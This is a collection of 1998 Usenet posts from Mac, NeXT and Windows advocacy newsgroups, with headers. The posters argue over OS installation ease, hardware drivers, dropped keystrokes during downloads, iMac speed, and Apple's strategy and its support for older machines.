> That's pretty bad. If doing something as common as downloading caused
> my newsreader to drop letters I type, I think I'd be looking for a
> better computer.
or better software FOR that computer. but frankly you might do better with
pen and paper and an abacus.. and that's SO much less expensive than a
computer. and STILL hasn't fallen into widespread disuse much to the
dismay of Microsoft and Apple.
I've noticed this sort of behaviour on my mac occaisionally but only using
IRCLE and generally while some sort of background application was starting
up like the wav-file player or something that wasn't previously launched.
--
send mail to Hath <at> cyberops <dot> org instead of to the above address.
this is to prevent spamming. e-mail reply-to's have been altered
to prevent scan software from extracting my address for the purpose
of spamming me, which I hate with a passion bordering on obsession.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 13 Aug 1998 09:30:30 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1308980930300001@sf-usr1-51-179.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209>
In article <asiufy-1308981150270001@200.229.243.209>, asiufy@uol.com.br wrote:
> In article <35e6e291.28365146@news.calweb.com>,
> hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
>
> > On Wed, 12 Aug 1998 15:00:50 -0700, gmgraves@slip.net (George Graves)
> > wrote:
> >
> > >
> > >OK, how many of those "many times" that you have installed Windows have you
> > >had to make a boot floppy which recognized your CD-ROM drive? With
the Mac,
> > >you NEVER have to do that!. How many times have you had to cast
> endlessly about
> > >looking for the latest hardware drivers for Windows? ("ya can gettum
at our
> > >website". Fine. If I had a working computer, I could go to your bloody web
> > >site,
> > >but you see, I'M INSTALLING THE GODDAMN SYSTEM, AND IT WANTS UPDATED MODEM
> > >DRIVERS! Now how the hell am I supposed to go to your goddam website?)
> > >This never
> > >happens with a Mac.
> > >
> >
> > Why, because the Mac is smart enough to automatically update the
> > installation software to include new drivers, or because no one makes
> > new hardware for it or writes new drivers so you don't have to worry
> > about it?
> >
> > Scott
> >
>
> No, you idiot. You can't compare Windoze to MacOS. You install
> Windoze, and it has at least a million different variations of a possible
> PC configuration (sound card, video card, etc etc), while Macs have just a
> handful of alternatives, which makes it easy for system installers to
> "foresee" all those possibilities, and install everything needed for that
> specific system.
No YOU idiot. That's not the reason at all. There are many more than a
"handful of alternatives" for the Mac, but they must be designed, and
their software written to Apple's rather stringent set of guidelines.
"If you build the interface like we say, it WILL work".
George Graves
Date: Thu, 13 Aug 1998 19:33:29 +0200
From: peter.perlsoe@ngg.dk (Peter Bjørn Perlsø)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: Imac faster than p2 400!!!!!!!
Message-ID: <peter.perlsoe-1308981933290001@192.168.1.1>
References: <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net>
Organization: N/A
In article <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> NOT! A g3 233 is about as fast as a p2 300 (actually probably a smidgeon
> slower). But a imac is not a g3 233. Is the imac faster than a g3 233?
> Nope. Look at http://www.macintouch.com/imacreview.html
> In macbench, a imac gets 760, and a g3 233 gets 785.
>
> Then their is real world apps. Photoshop gives the mac about the most
> favorable light. Quake shows the p2 to be faster than what photoshop
> shows, word and excel also are more favorable to the p2. And photoshop
> shows a g3 266 to be about %7 faster than a p2 300, and shows a p2 300 to
> be about %6 faster than a g3 233 (from rabid joe's web page).
> If you take Apple's internal engineers word for it (and you should, They
> seemed to do a honest performace, using 15 adobe filters) a g3 266 is
> about %30 faster than a p2 266 using photoshop. I assume a g3 233 would
> also be about %30 faster than a p2 233, meaning its probably about the
> same speed as something between a p2 266 and a p2 300. And of course
> imac is slower than a g3 233, so while a g3 233 would be closer to a p2
> 300 than a p2 266, the imac would be closer to a p2 266 than the g3 233
> would be.
Currently, it's hard to compare a P2 running windows to a G3 running
MacOS. It would certainly be more fair to just compare to Mac's to each
other - not to a PC.
Remember that the Mac OS is still suffering under the stress of emulated
code. Mac OS 8.5 will help, also with accelerated QuickDraw code, which
will make games such as Quake run faster.
Then you can compare all you want.
//Peter
+--------------------------------------+
I A computer without Windows I
I is like a fish without a bicycle I
+--------------------------------------+
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: Does SJ just repeat his "success pattern"? I'd like that!
Date: 13 Aug 1998 17:58:46 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6qv9gm$d47@btmpjg.god.bel.alcatel.be>
It seems to me that some (most?) successful entrepreneurs do have
their personal pattern of success, which they simply do repeat again
and again. Bill Gates is a popular example.
Without going into deep analysis, I've got the feeling
that the iMac follows the same pattern as the AppleII and
the 1984 Mac. Is this the personal SJ pattern of success?
Also, I'm very happy that SJ is not repeating his
personal "pattern of failure" this time (to price a great
product off the market, since it "is worth that much").
Do you think I should buy an iMac? My fastest computer
at home currently is a Nintendo 64.
Yours,
--
Ralf.Suckow ------------------------
@bln.sel.alcatel.de | All opinions are mine.
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 13:11:36 -0500
Organization: Texas Instruments
Message-ID: <MPG.103ce8511260aaf98978b@news.itg.ti.com>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
In article Steve Sullivan, macghod@concentric.net says...
> Right nowI am downloading while I write this. I am prposefully not
> editing the errors, the ones that are the focus of this flame at least
> (including the last word in the subject, add a "c". Thes errors you see
> are not typoes, they are chaacters that dont show up for some reason,
> related to the download going on now. In mt newswatcher it actually isnt
> hat bad. But it was much worse in claris emailer (which prompted me to
> write this post). In this message, a couple of characters that I did type
> didnt show up because of the upload going o in the background, emailer was
> much much worse. This is simply unacceptable.
>
> This is a g3 233, with 96 megs of ram, and running 8.5b5c2
This is the EXACT phenomenon that I described with characters getting
lost when downloading. Ragosta blasted me for it, but I can't IMAGINE
how he's avoided seeing this on Macs. It's happened on every single one
I've seen.
From: paul_lucente@merck.com (Paul Lucente)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 13 Aug 1998 14:33:53 -0400
Organization: Merck & Co.
Message-ID: <paul_lucente-ya02408000R1308981433530001@merck.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <id_est-1308981118340001@192.168.1.3> <gmgraves-1308980931320001@sf-usr1-51-179.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <gmgraves-1308980931320001@sf-usr1-51-179.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <id_est-1308981118340001@192.168.1.3>, id_est@interport.net
> (tse_di) wrote:
> > Actually the difference is that most hardware on a mac will work with the
> > generic drivers but it will work less that optimally.
>
>
> This is complete bullshit.
How is this complete bullshit? He gave a perfect example, which you
snipped, in which he said a trackball will still work without its drivers
installed, but will not have complete functionality, for example, use of
the other buttons, which is true.
Please explain how the statement he made is complete bullshit, I don't
think it is.
Paul
The contents of this message express only the sender's opinion.
This message does not necessarily reflect the policy or views of
my employer, Merck & Co., Inc. All responsibility for the statements
made in this Usenet posting resides solely and completely with the
sender.
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-PiVGlPFJxJge@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <joe <jbg-1108981259520001@green.sdc.cs.boeing.com> <35d11510.0@news3.ibm.net>
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Date: 13 Aug 1998 18:38:44 GMT
Organization: IBM.NET
On Wed, 12 Aug 1998 04:09:58, earle @ geocities . NOSPAM . com (Earle
F. Philhower, III) thought aloud:
> In article <jbg-1108981259520001@green.sdc.cs.boeing.com>,
> jbg@sdc.cs.boeing.com (Jim Glidewell) wrote:
> >In terms of insult to faithful Apple customers (I've owned and used Macs
> >at home for >10 years), I think that this Rhapsody/Rhapsody Server/OSX/G3
> >shell game ranks right up there.
> ...
>
> As someone looking into getting a Mac for my (teeny weeny) shareware
> business may I suggest another reason Apple would not want to support
> Non-G3 original machines?
>
> To kill the used market, where you can get a perfectly serviceable
> Apple (or clone!) 603/604 for around $600. These machines run 99.9%
> of apps _home_ users need (sure, they don't Quake along at 75FPS or
> do 8.5x11x600dpi PhotoShop colorspace conversions in a blink), but
> don't make Apple a red cent, 'cept for the $40-$100 for a OS8.1
> upgrade.
>
> If instead you can make them spend $1300+sales tax on a "non-expandable"
> (okay, USB...) iMac, or better yet $1800-$2500 on a G3 desktop, it
> does add to their bottom line.
Yeah! Also, how else can we fill the hazardous waste landfills if not
by reducing the usable lifetime of (Apple) computers drastically.
I'm probably a weirdo wishing to keep PowerMacs - preferably all of
them - in active use for many years to come. Mac OS X and its
offspring versions would sound like an excellent must-have
chemical-free upgrade(s), even on yearly basis. The new G-something
hardware OTOH sounds very attractive on its own right, without any
arrogant abandoning of still-useful PowerMacs.
The "used market" exists for a reason. More-than-two-year-old
computers equipped with the right software can help low-income
families, students and even kids become Mac OS X / YB users. There are
lots of "used" computers supporting the Wintel marketplace.
Luckily, if Apple decides they need to artificially shorten the usable
lifetime of their computers, using the proprietary operating system
card, there will be Linux to keep some of those less-than-new boxes in
active use and out of the landfills. Perhaps Linux will become
sufficiently newbie-friendly over the next year to give also Apple
some much needed competition in filling customers' needs instead of
landfills.
FWIW, my Mac was manufactured less than a year ago but yet Apple isn't
planning to make either Rhap... (Mac OS X "Server") or the real
upgrade Mac OS X compatible with it. And I specifically bought it
based on Apple's statements that all Apple hardware from Jan. '97
onward would be supported. Couldn't Apple still be successful as a
company without planned ultra-quick obsolescense and lack of moral
backbone?
Rgds,
--
taiQ
[this space is intentionally blank]
From: Patrick <patrick@howard.genetics.utah.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 13 Aug 1998 11:52:51 -0600
Organization: University of Utah Computer Center
Message-ID: <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net>
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In-Reply-To: <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net>
On Wed, 12 Aug 1998, George Graves wrote:
> > Give me a break. I have installed, multiple times, from scratch, on BOTH
> > Macs and PCs. I have done so on the PC with OS/2, Win95, and RedHat
> > Linux. Installing Win95 on a PC was NO more difficult than installing
> > MacOS on my daughters Performa. There was NO problems, in ANY case, on
> > the PC as compared to the Mac. I pointed, clicked, and left it alone
[...]
> > That is MY PERSONAL experience. Not heresay, not rumor. I have done it
> > many times on BOTH.
> OK, how many of those "many times" that you have installed Windows have you
> had to make a boot floppy which recognized your CD-ROM drive? With the Mac,
> you NEVER have to do that!. How many times have you had to cast endlessly about
I have never had to do that. With OS/2, the install diskettes see the
CDROM and that's that. Making a boot floppy is not a problem. With
Win95, I simply do not know - haven't done it and haven't had to do it.
As for booting from a CDROM, I can do that and have, for a linux
install. I simply selected "CDROM, C:, A:" in my bios setup. The system
looks for a bootable CD, etc. I did that because I didn't have a linux
boot floppy, wasn't yet sure how to make such things (as a newbie to
linux), and selected the easiest apparent means...boot from CD.
> Sure. If you have the right boot floppy for your machine, and if you have
> all the
> latest drivers for everything already, MAYBE, just MAYBE, it will be almost as
> simple as installing a new system on a systemless Mac (but not quite. Macs
> still have fewer steps). In an ideal world many things are simple. But the
> world,
> especially the world of computers, is far from perfect, and the PC with its
> DOS setup, its myriad of hardware and software drivers, its hardware
> conflicts (even if everything is PNP) is a crap shoot at best. A crap shoot,
> that obviously, so far, you have been lucky at.
All that stems from the fact that consumers have many more choices
available to them for the PC and its periphs. That is not a bad thing.
Competition and choice are ALWAYS a good thing. If you choose a cheap
off-brandname modem, then MAYBE it wont work right off, though most
modems should support basic Hayes commands and setup strings. If you buy
the very latest video card or other addon, then you may have to go the
manufacturer website to download the appropriate driver...it takes some
time to incorporate a brand-spanking-new driver into a consumer CD, afterall.
If you buy a proper soundcard, it will automatically be soundblaster
compatible and will work. If not, if you run into problems, then I guess
you learned and may not make a mistake and buy that brand
again...competition works. Or, you may not mind the little extra work it
takes (getting to understand something about how a computer actually
works in the process) to get the periph to work considering the money you
saved by buying the offbrand hardware.
There are advantages to having, essentially, a single hardware supplier
(Apple) for your computer, but then there is inherent evil as well:
anti-competition, no choice, more expensive due to no competiton, slower
innovation due to no competition. You choose your tradeoff.
In any case, in the cases when I had problems, whether on my daughter's
Performa or setting something up on my PC, I ALWAYS get a fast answer
that works from the newsgroups. Far faster than any company's tech
support has ever performed. I learn something in the process as well.
No problem.
patrick
From: David Campitelli <dcampit@tspi.elan.af.mil>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 13 Aug 1998 11:24:55 -0700
Organization: Air Force Flight Test Center
Message-ID: <35D32F77.1C381026@tspi.elan.af.mil>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se>
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> Win95 has always been easy to install, at least on the 10 or so boxes
> I've installed it on. It takes about 20 minutes, and the only hard
> part of the process is entering the serial number from the CD cover.
> It detects the devices and asks for drivers, you only need to point
> and click. Sometimes you need a driver CD from the hardware
> manufacturer.
>
> I admit I've never installed MacOS, but if this is "L-O-T-S HARDER" than
> installing MacOS, what makes installing MacOS from scratch so much
> easier? Does it teleport the CD to the drive? Or perhaps a CD is not
> needed at all? Please enlighten me, because this is really intriguing...
>
> -- Petri
Then you had a very good installation experience. I known people that have
had complete nightmares with it. Halfway through an installation they would
get an error that completely destroyed the disk partition and the disk had
to be reformatted and start over. Cases where it wouldn't recognize the
cd-rom ( despite the driver being there) scsi cards , modems. Little
isolated problems that are a headache
It seems that when people say that installing windows is more difficult they
mean on a statistical basis. I have installed windows 95 and windows NT on
about 30 workstations.
on most of them the install itself was fine taking approximately 30 min to
an hour and a half ( depending on machine ) but after the set up about 12 of
the machines needed major overhauls because some part of the installation
didn't go right. Also I had to sit and answer questions during the set up
for most of them ( especially NT )
last night I reformatted my mac drive and reinstalled the OS ( 8) I put in
the install cd told it to install the OS and went to go watch star trek.
After Star trek was over I went back and answered the final questions (
computer name , location information etc.. , which it actually remembered
from the previous installation) and did one reboot and was done.
there are some differences. the most noteworthy is the fact that the windows
machines had to be rebooted about 6 times, and I couldn't enter some
information during the installation ( like the monitor type or network info
)
Dave
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 13 Aug 1998 19:38:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qvfb8$n1q$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209>
In article <asiufy-1308981150270001@200.229.243.209>,
asiufy@uol.com.br (Alexandre A. S.) wrote:
> No, you idiot.
That wasn't called for. You should apologize to Scott.
> Now, the question is: do you want to live on the world of PCs,
> where countless crappy video cards exist, driving Windows nuts with buggy
> drivers, or do you want simple, efficient cards that can be used
> flawlessly with Macs?
OK, I want a good video card for my Mac. Name one that is as good as my PC's
(six month old?) Velocity 128. I also want a good sound card for my Mac. Name
one that is as good as my TBS Montego. I would rather have good hardware than
hardware that is "simple, efficient" and I can't get that for my Mac. And,
BTW, Windows 95 has never failed to auto-detect my hardware.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 13 Aug 1998 19:50:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qvg2a$nu8$1@nnrp1.dejanews.com>
References: <6ogco6$8ma$1@hole.sdsu.edu> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com> <kindall-1208980036180001@nic-c41-094.mw.mediaone.net> <35d12ca0.0@news.depaul.edu> <prink-ya02408000R1308980040290001@news.abs.net> <6quak2$a3o$1@nnrp1.dejanews.com> <35d30cef.0@news.depaul.edu>
In article <35d30cef.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> Depends on the application. Some do, some don't. There seem to be
> plenty of reports of Mac apps breaking on a particular hardware
> model or configuration.
That is probably because some application bugs only manifest themselves under
certain conditions. They are still bugs that should be fixed.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 14:55:36 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D344B8.D4304965@ericsson.com>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com>
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Jason McNorton wrote:
> This is the EXACT phenomenon that I described with characters getting
> lost when downloading. Ragosta blasted me for it, but I can't IMAGINE
> how he's avoided seeing this on Macs. It's happened on every single one
> I've seen.
Hey, be easy on him. Maybe he types very slowly.
MJP
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 13 Aug 1998 20:26:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qvi5h$qut$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <gmgraves-1308980930300001@sf-usr1-51-179.dialup.slip.net>
In article <gmgraves-1308980930300001@sf-usr1-51-179.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> No YOU idiot. That's not the reason at all. There are many more than a
> "handful of alternatives" for the Mac, but they must be designed, and
> their software written to Apple's rather stringent set of guidelines.
> "If you build the interface like we say, it WILL work".
1) There may be a lot of options for the Mac but getting the really good ones
is tough. I can't think of a single good 2D Mac card and the single company
that makes Voodoo II cards for the Mac charges 50% more than the equivalent PC
card (actually, I think that the PC card had 16MB of RAM and you can only get
12MB on the Mac card). Having ordered the Mac card (backordered until mid-
August in case anyone cares) last weekend, I wasn't terribly happy.
2) At least with ADB drivers, Apple's guidelines are not terribly well
followed. It's hard to imagine adding the features that people want without
shooting them to hell. Look at Kensignton's turbomouse. They market it by
saying how awesome it's software is and I can't imagine how you could write
that software without patching a few traps and using a few low-memory globals.
Also, the drivers of the ADB devices change the keymap in different ways. Some
of the joystick drives use bitwise-OR to change the keymap while Apple and
Microsoft's drivers use straight assignment. The Apple/Microsoft way sucks for
game play so who is doing it right? I haven't found the correct way described
in "Apple's rather stringent set of guidelines."
3) George, you still haven't volunteered any of you time to help me with
Keyboard Combiner. An expert on Apple's driver architecture such as yourself
should be able to make, in hours, changes that take me days. I, a "PC user",
can only pray that you will rescue me from the pool of ignorance in which I am
drowning.
---
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A flame of the ma
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Cc: jmcn@msg.ti.com
Organization: none
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <MPG.103ce8511260aaf98978b@news.itg.ti.com>
Mime-Version: 1.0
Date: Thu, 13 Aug 1998 20:44:53 GMT
In <MPG.103ce8511260aaf98978b@news.itg.ti.com> Jason McNorton wrote:
> This is the EXACT phenomenon that I described with characters getting
> lost when downloading. Ragosta blasted me for it, but I can't IMAGINE
> how he's avoided seeing this on Macs. It's happened on every single one
> I've seen.
Guys, the Plus I had with a 2400bps didn't do this, and no Mac I've used
since with any modem up to a cable modem has. I have never seen lost
characters to either uploads or downloads in...
any version of NewsWatcher
Anarchy
ZTerm
FirstClass
Netscape
etc.
I've seen dropped chars, but they are always related to too-high disk
activity or bad memory thrashing. If you're seeing this too, I recommend
starting there.
Maury
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 13 Aug 1998 19:59:15 GMT
Organization: University of California at San Diego
Message-ID: <slrn6t6hcj.igg.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com> <j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com> <KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com>
On Thu, 13 Aug 1998 11:11:44 -0500, Michael Peck wrote:
:rr6013@yahoo.com wrote:
:
:> I'm pitifully trying to draw a picture in words of the "box" Apple has built
:> themselves into by exhalting the Macintosh brand above the Apple brand. By
:> choosing the MacOS X name for a carbonated Rhapsody AND killing it on Intel
:> after v1.0, the Apple brand was upstaged. Apple couldn't drive it's own
:> technology wagon with its position of leadership. Only Macintosh could steer
:> the technology course. It will go down as a benchmark event.
:
:Well, I don't agree on the basis of my opinion alone. I think it's right
:that you brought up the example of Steve Jobs transforming NeXT's
:business model from hardware to software.
:
:Let me illustrate: back in 1993 JLG wrote an editorial for MacWEEK
:describing his opinion that Jobs was making a mistake by sticking to
:hardware. He laid out the business case for hardware agnosticism and
:seemed to really "get it". It was a matter of principle, not of
:measuring "where are we now?". I've often since thought it was funny
:that JLG, of all people, "got it" before Steve Jobs did. Of course, Jobs
:got it that same year when he moved NeXT to a software business, and JLG
:did the same thing with Be in recent days.
Well, Jobs actually tried to make a go at it. It doesn't work.
The illusion of a vast fertile market for alternate operating systems
to Windows is tempting, but, in fact, barren for commercial companies.
I too believed in this fantasy for a while, as did many others.
Reality bites. :-(
{For NeXT, it would have been more successful if Jobs could have
gotten a workstation maker with deep pockets to buy them and make hardware
with a better OS. NeXT failed in hardware because of a lack of the capital
(and a RISC CPU) needed to seriously go at high-end hardware.}
On the other hand, Linux is doing better than I imagined, and is now
our major operating system choice.
:So amid all of this, why is Jobs making this mistake with Apple? You may
:say "moving to software is a long-term business", I would be quick to
:answer that there are no indications that anything of the sort has even
:begun at Apple. The introduction of the iMac may be great news for Apple
:as a hardware company, but it's extremely disturbing for Apple as a
:software company.
Apple is a systems company, like Sun. Java is **much** more hyped and popular
and important than any software Apple writes, and yet, even Sun hardly
makes money on Java. It uses the profits on Sun hardware to keep its Java
effort going, and uses the hype about Java to sell Sun hardware.
If Sun "got out of the hardware business" Javasoft would shrivel up in a few
months.
Take Solaris x86. They most standard commercial non-Microsoft OS on x86 with
by lots of serious development can't even come remotely CLOSE to paying back
its cost.
:I complained in my whiny voice for months when Apple announced its
:Rhapsody decision. Why, in a world dominated by Microsoft OSes on the
:desktop and UNIX OSes in the enterprise, was Apple continuing to walk
:into the squeeze-play with a *brand-new* strategy? It is *so* ironic
:that the platform-agnostic, enterprise-level, development-oriented,
:highly-advanced technology Apple acquired from NeXT is the foundation of
:an OS-level, hardware-specific, consumer-oriented, Carbon-based
:strategy. Can someone explain how we got here?
MacOS was festering, and buying NeXT was the easiest way to get a
coherent development team who knows how to write operating systems, and
an operating system base which worked.
The other point is that it's easier to keep old customers and get new
ones, and are lots more Mac people who are longing for upgrades
compared to business iconoclasts who will bet enterprises on totally
new operating systems.
:Why can't Apple become a provider of enterprise-level software in the
:vein of the OPENSTEP APIs?
How could Apple make it big it when NeXT couldn't? NeXT was more devoted
to that market, and didn't come with as much anti-business baggage.
Microsoft is omnipresent there. Even with _IBM_ throwing its massive weight
behind Java and its deeply growing collection of enterprise-level tools,
Java is still a significant underdog.
Yes, if Java hadn't been invented, and IBM looked around and bought NeXT in
1993 for Openstep and then morphed it into something javaish, then yes
things would be different. And still Apple would be out of it.
Today, Java is the Microsoft-alternative in business. OPENSTEP isn't, nor
couldn't be now.
: Why can't Apple take its super-pow-bang
:weapon and hit every OS vendor right where it hurts until they decide to
:partner with Apple because Apple gives them that way out?
You mean "Embrace and extend?" How do you ''partner'' with Microsoft and
then win?
Jobs' deal is the only one I know, and that does NOT involve giving them
some part of their software on hopes it will not come back to bite them
in the ass (a la RealNetworks, Sybase, Sun, et al)...
:Instead Apple
:has bet all of its chips on a proven losing strategy.
There's risky strategies (the one they're in), and proven losing
strategies (trying to compete head on with Microsoft on x86 operating
systems, when you need Word.)
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
